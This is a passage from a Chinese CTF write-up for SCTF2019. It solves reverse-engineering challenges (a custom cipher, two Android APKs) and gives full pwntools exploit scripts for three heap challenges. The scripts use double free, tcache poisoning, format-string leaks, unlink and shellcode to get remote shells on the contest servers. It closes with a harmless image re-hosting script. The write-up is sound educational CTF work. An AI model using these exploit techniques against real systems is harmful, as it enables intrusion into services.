> unsigned int a[288] = {0x0D6, 0x90, 0x0E9, 0x0FE, 0x0CC, 0x0E1, 0x3D, 0x0B7, 0x16, 0x0B6, 0x14, 0x0C2, 0x28, 0x0FB, 0x2C, 0x5, 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0x0BE, 0x4, 0x0C3, 0x0AA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9C, 0x42, 0x50, 0x0F4, 0x91, 0x0EF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0x0ED, 0x0CF, 0x0AC, 0x62, 0x0E4, 0x0B3, 0x1C, 0x0A9, 0x0C9, 0x8, 0x0E8, 0x95, 0x80, 0x0DF, 0x94, 0x0FA, 0x75, 0x8F, 0x3F, 0x0A6, 0x47, 0x7, 0x0A7, 0x0FC, 0x0F3, 0x73, 0x17, 0x0BA, 0x83, 0x59, 0x3C, 0x19, 0x0E6, 0x85, 0x4F, 0x0A8, 0x68, 0x6B, 0x81, 0x0B2, 0x71, 0x64, 0x0DA, 0x8B, 0x0F8, 0x0EB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0x0D1, 0x0A2, 0x25, 0x22, 0x7C, 0x3B, 0x1, 0x21, 0x78, 0x87, 0x0D4, 0x0, 0x46, 0x57, 0x9F, 0x0D3, 0x27, 0x52, 0x4C, 0x36, 0x2, 0x0E7, 0x0A0, 0x0C4, 0x0C8, 0x9E, 0x0EA, 0x0BF, 0x8A, 0x0D2, 0x40, 0x0C7, 0x38, 0x0B5, 0x0A3, 0x0F7, 0x0F2, 0x0CE, 0x0F9, 0x61, 0x15, 0x0A1, 0x0E0, 0x0AE, 0x5D, 0x0A4, 0x9B, 0x34, 0x1A, 0x55, 0x0AD, 0x93, 0x32, 0x30, 0x0F5, 0x8C, 0x0B1, 0x0E3, 0x1D, 0x0F6, 0x0E2, 0x2E, 0x82, 0x66, 0x0CA, 0x60, 0x0C0, 0x29, 0x23, 0x0AB, 0x0D, 0x53, 0x4E, 0x6F, 0x0D5, 0x0DB, 0x37, 0x45, 0x0DE, 0x0FD, 0x8E, 0x2F, 0x3, 0x0FF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51, 0x8D, 0x1B, 0x0AF, 0x92, 0x0BB, 0x0DD, 0x0BC, 0x7F, 0x11, 0x0D9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0x0D8, 0x0A, 0x0C1, 0x31, 0x88, 0x0A5, 0x0CD, 0x7B, 0x0BD, 0x2D, 0x74, 0x0D0, 0x12, 0x0B8, 0x0E5, 0x0B4, 0x0B0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0x0B9, 0x0F1, 0x9, 0x0C5, 0x6E, 0x0C6, 0x84, 0x18, 0x0F0, 0x7D, 0x0EC, 0x3A, 0x0DC, 0x4D, 0x20, 0x79, 0x0EE, 0x5F, 0x3E, 0x0D7, 0x0CB, 0x39, 0x48, 0x0C6, 0x0BA, 0x0B1, 0x0A3, 0x50, 0x33, 0x0AA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0x0DC, 0x22, 0x70, 0x0B2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0};
> unsigned int foo2(unsigned int a1)
> {
> unsigned v1;
> unsigned char byte[4];
> byte[0] = a1&0xff;
> byte[1] = (a1>>8)&0xff;
> byte[2] = (a1>>16)&0xff;
> byte[3] = (a1>>24)&0xff;
> v1 = (a[byte[0]])|(a[byte[1]]<<8)|(a[byte[2]]<<16)|(a[byte[3]]<<24);
> return ROL(v1,12)^ROL(v1,8)^ROR(v1,2)^ROR(v1,6);
> }
>
> unsigned int foo(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4)
> {
> return a1 ^ foo2(a2^a3^a4);
> }
>
> int main()
> {
> unsigned int tmp[30] = {0};
> unsigned int cipher[4] = {0xBE040680, 0xC5AF7647, 0x9FCC401F, 0xD8BF92EF};
> memcpy(tmp+26,cipher,16);
>
> for(int i = 25;i>=0;i--)
> tmp[i] = foo(tmp[i+4],tmp[i+1],tmp[i+2],tmp[i+3]);
> tmp[4] = 0;
> printf("%s\n",(char *)tmp);
> return 0;
> }
>
>
1
2
> fl4g_is_s0_ug1y!
>

得到flag

1
2
> sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}
>

strange apk

前12个chr

1
2
3
4
5
6
7
8
9
>             localObject2 = new StringBuilder();
> ((StringBuilder)localObject2).append(paramAnonymousView);
> ((StringBuilder)localObject2).append(str.charAt(i));
> paramAnonymousView = ((StringBuilder)localObject2).toString();
> i++;
>
> if (((String)localObject2).equals("c2N0ZntXM2xjMG1l"))
>
>
1
2
3
4
5
> 
> >>> base64.b64decode("c2N0ZntXM2xjMG1l")
> 'sctf{W3lc0me'
>
>

有个data加密后的,直接虚拟机打开存着解密后的apk,拖下来直接分析。

后18个chr:

这里先用intent启动了其他class:

1
2
3
4
5
6
>             localObject1 = new Intent();
> ((Intent)localObject1).putExtra("data_return", paramAnonymousView);
> s.this.setResult(-1, (Intent)localObject1);
> s.this.finish();
>
>

最后一段关键比较:

1
2
3
4
> if (f.encode(paramIntent.getStringExtra("data_return"), (String)localObject1).equals("~8t808_8A8n848r808i8d8-8w808r8l8d8}8"))
>
>
>

这里生成MD5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>  try
> {
> Object localObject2 = MessageDigest.getInstance("MD5");
> ((MessageDigest)localObject2).update("syclover".getBytes());
> BigInteger localBigInteger = new java/math/BigInteger;
> localBigInteger.<init>(1, ((MessageDigest)localObject2).digest());
> localObject2 = localBigInteger.toString(16);
> localObject1 = localObject2;
> }
> catch (Exception localException)
> {
> localException.printStackTrace();
> }
>
>

照着写了个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
>   public static void genMd5(){
> String plaintext = "syclover";
> try{
> MessageDigest m = MessageDigest.getInstance("MD5");
> m.reset();
> m.update(plaintext.getBytes());
> byte[] digest = m.digest();
> BigInteger bigInt = new BigInteger(1,digest);
> String hashtext = bigInt.toString(16);
> System.out.print(hashtext);
> }
> catch (Exception localException)
> {
> localException.printStackTrace();
> }
> }
>
>

得到8bfc8af07bca146c937f283b8ec768d4

那个关键比较有个encode函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> public static String encode(String paramString1, String paramString2)
> {
> int i = paramString1.length();
> int j = paramString2.length();
> StringBuilder localStringBuilder = new StringBuilder();
> for (int k = 0; k < i; k++)
> {
> localStringBuilder.append(paramString1.charAt(k));
> localStringBuilder.append(paramString2.charAt(k / j));
> }
> return localStringBuilder.toString();
> }
>
>

出题人好像把取整跟取余搞混了。应该是k % j

这样的话,直接在flag里插入8得到字符串:~8t808_8A8n848r808i8d8-8w808r8l8d8}8

所以后半段flag:~t0_An4r0id-w0rld}

所以整个flag: sctf{W3lc0me~t0_An4r0id-w0rld}

music

image

1
2
3
4
5
6
> cipher =
> C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53
>
> len(cipher) = 80
>
>

用jeb打开,能最终定位到一个关键函数,这个函数输入两个参数

第一个是flag,第二个是hellodsctf字符串的md5,输出为cipher。

直接爆破每一位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
> import java.lang.String;
>
> public class Main {
> public static void main(String[] args) {
> c a = new c();
> String flag = "sctf{";
> String printable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+,-.:;<=>[email protected][]^_{|}~";
> String ss = "C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
> for(int j=0;j<100;j++)
> {
> for(int i=0;i<printable.length();i++)
> {
> String now= flag + printable.charAt(i);
> //System.out.println(now);
> String d = a.a(now,"E7E64BF658BAB14A25C9D67A054CEBE5");
> if(ss.indexOf(d) == 0)
> {
> System.out.println("flag: " + now);
> flag = now;
> }
> }
> //break;
> }
> }
> }
>
>

image.png

Pwn

one_heap

存在double free的漏洞,利用heap的地址爆破proc的偏移实现house of three leak,

然后常规的tache attack就行。爆破几率在1/4096估计跑一下午就能出来。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
> 
> from pwn import*
> context.log_level = "debug"
> p = process("./one_heap")
> a = ELF("./libc-2.27.so")
> #p = remote("47.104.89.129",10001)
> gdb.attach(p)
> def new(size,content):
> p.recvuntil("Your choice:")
> p.sendline("1")
> p.recvuntil("Input the size:")
> p.sendline(str(size))
> p.recvuntil("Input the content:")
> p.sendline(content)
> def remove():
> p.recvuntil("Your choice:")
> p.sendline("2")
> def new0(size,content):
> p.recvuntil("Your choice:")
> p.sendline("1")
> p.recvuntil("Input the size:")
> p.sendline(str(size))
> p.recvuntil("Input the content:")
> p.send(content)
> new(0x60,"aaa")
> remove()
> remove()
> new(0x60,"\x20\x60")
> new(0x60,"b")
> raw_input()
> new(0x60,"\x60\x07")
> pay = p64(0xfbad1880) + p64(0)*3 + "\x00"
> new(0x60,pay)
> libc_addr = u64(p.recvuntil("\x7f")[8:8+6].ljust(8,"\x00"))-0x3ed8b0
> print hex(libc_addr)
> malloc_hook = a.symbols["__malloc_hook"]+libc_addr
> relloc_hook = a.symbols["__realloc_hook"]+libc_addr
> print hex(malloc_hook)
> one = 0x4f2c5+libc_addr
>
> print one
> new(0x50,"a")
> remove()
> remove()
> new(0x50,p64(relloc_hook))
> new(0x50,"peanuts")
> new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe))
> print hex(one)
> new(0x30,"b")
> p.interactive()
>

two_heap

漏洞点和one heap一样,同样是有tache的版本,

先绕过size的检查利用0x0,0x8,0x10,0x18进行绕过,

然后利用printf_chk可以用a来leak的特性算出libc

然后就可以attack free_hook然后通过free("/bin/sh") getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
> from pwn import*
> context.log_level = "debug"
> #p = process("./two_heap",env={"LD_PRELOAD":"./libc-2.26.so"})
> a = ELF("./libc-2.26.so")
> p = remote("47.104.89.129",10002)
> #gdb.attach(p)#,"b *0x5555555554a0")
> def new(size,content):
> p.recvuntil("Your choice:")
> p.sendline("1")
> p.recvuntil("Input the size:")
> p.sendline(str(size))
> p.recvuntil("Input the note:")
> p.sendline(content)
> def remove(idx):
> p.recvuntil("Your choice:")
> p.sendline("2")
> p.recvuntil("Input the index:")
> p.sendline(str(idx))
> def new0(size,content):
> p.recvuntil("Your choice:")
> p.sendline("1")
> p.recvuntil("Input the size:")
> p.sendline(str(size))
> p.recvuntil("Input the note:")
> p.send(content)
> p.recvuntil("Welcome to SCTF:")
> p.sendline("%a"*5)
> p.recvuntil("0x0p+00x0p+00x0.0")
> lib_addr = int(p.recvuntil("p-10220x",drop=True)+"0",16) - a.symbols["_IO_2_1_stdout_"]
> free_hook = a.symbols["__free_hook"]+lib_addr
> system = lib_addr+a.symbols["system"]
> print hex(lib_addr)
> new0(0x1," ")
> remove(0)
> remove(0)
> raw_input()
> new0(0x8,p64(free_hook))
> new0(0x10,"\n")
>
>
> new(24,p64(system))
> new(0x60,"/bin/sh\x00")
> remove(4)
>
> p.interactive()
>

easy_heap

漏洞点在off by null,可以利用unlink控制全局变量改mmap内存为shellcode,

接着利用控制的区域构造一个fake chunk

然后free使得它进入unsortedbin,利用控制覆盖低位,指向malloc_hook,

然后再edit改为mmap的地址就可以getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
> from pwn import*
> context.arch = "amd64"
> context.log_level = "debug"
> #p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"})
> a = ELF("./easy_heap")
> e = a.libc
> print hex(e.symbols["puts"])
> p = remote("132.232.100.67",10004)
> #gdb.attach(p)#,"b *0x5555555554a0")
> def add(size):
> p.recvuntil(">> ")
> p.sendline("1")
> p.recvuntil("Size: ")
> p.sendline(str(size))
> def remove(idx):
> p.recvuntil(">> ")
> p.sendline("2")
> p.recvuntil("Index: ")
> p.sendline(str(idx))
> def edit(idx,content):
> p.recvuntil(">> ")
> p.sendline("3")
> p.recvuntil("Index: ")
> p.sendline(str(idx))
> p.recvuntil("Content: ")
> p.sendline(content)
> p.recvuntil("Mmap: ")
> mmap_addr = int(p.recvuntil("\n",drop=True),16)
> print hex(mmap_addr)
> add(0xf8)
> p.recvuntil("Address 0x")
> addr = int(p.recvline().strip(),16) - 0x202068
> add(0xf8)
> add(0x20)
> edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
> remove(1)
> edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
> edit(1,asm(shellcraft.sh()))
> bss_addr = 0x202040
> edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
> remove(1)
> edit(0,p64(0)*3+p64(0x100)+'\x10')
> edit(3,p64(mmap_addr))
> add(0x20)
> p.interactive()
>

彩蛋

闲着无聊,写了个将md中的图片外链转为安全客图片链接的脚本:

请自行替换安全客登陆后的Cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
> #!coding:utf-8
> import sys
> import re
> import requests
> import base64
> import json
> reload(sys)
> sys.setdefaultencoding('utf8')
> requests.packages.urllib3.disable_warnings()
>
> Cookie = 'PHPSESSID=xxxx; UM_distinctid=xxxx; wordpress_logged_in_de14bfc29164540b0259654d85d7b021=xxxxx'
>
> def open_file():
> file_name = sys.argv[1]
> f = open(file_name,'r')
> content = f.read()
> f.close()
> return content
>
> def write_file(new_content):
> f = open('new_content.md','w')
> f.write(new_content)
> f.close()
>
> def get_img_link():
> link_list = []
> file_name = sys.argv[1]
> for line in open(file_name):
> line = line.strip()
> img_link = ''
> if '![' in line and '](http' in line:
> is_link = re.compile(r'[(](.*?)[)]', re.S)
> img_link = re.findall(is_link, line)[0]
> link_list.append(img_link)
> return link_list
>
> def get_img_base64(link):
> r = requests.get(link,verify=False)
> content = r.content
> img_b64 = base64.b64encode(content)
> return r.status_code,img_b64
>
> def get_anquanke_link(img_base64):
> url = 'https://api.anquanke.com/data/v1/file/pic'
> headers = {
> 'Origin': 'https://www.anquanke.com',
> 'Referer': 'https://www.anquanke.com/contribute/new',
> 'Content-Type': 'application/json;charset=UTF-8',
> 'Cookie': Cookie
>
> }
> data = {
> 'image':img_base64
> }
> r = requests.post(url=url,headers=headers,data=json.dumps(data),verify=False)
> result = r.text
> # print r.text
> anquanke_link = json.loads(result)['url']
> return r.status_code,anquanke_link
>
> def change_paper_link():
> content = open_file()
> link_list = get_img_link()
> for link in link_list:
> print 'change link: ' + link
> status_code,img_b64 = get_img_base64(link)
> if status_code == 200:
> print 'get img_base64 success'
> status_code,anquanke_link = get_anquanke_link(img_b64)
> if status_code == 200:
> print 'get anquanke_link success: ' + anquanke_link
> content = content.replace(link,anquanke_link)
> else:
> print 'get anquanke_link fail: ' + anquanke_link
> else:
> print 'get img_base64 fail'
> return content
>
> def main():
> new_content = change_paper_link()
> write_file(new_content)
> print 'get your new paper: new_content.md'
>
> main()
>

运行输出

1
2
3
4
5
6
7
8
9
10
11
12
> >>> python .\change_paper_link.py SCTF2019-Writeup-De1ta.md
>
> change link: https://upload-images.jianshu.io/upload_images/7373593-2975fcf7003b7d74.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240
> get img_base64 success
> get anquanke_link success: https://p0.ssl.qhimg.com/t01382fc4f593a308ce.png
> ------------------------
> change link: https://upload-images.jianshu.io/upload_images/7373593-ef36939bde16bbb0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240
> get img_base64 success
> get anquanke_link success: https://p0.ssl.qhimg.com/t01f32c3e4f38589eb6.png
> ------------------------
> get your new paper: new_content.md
>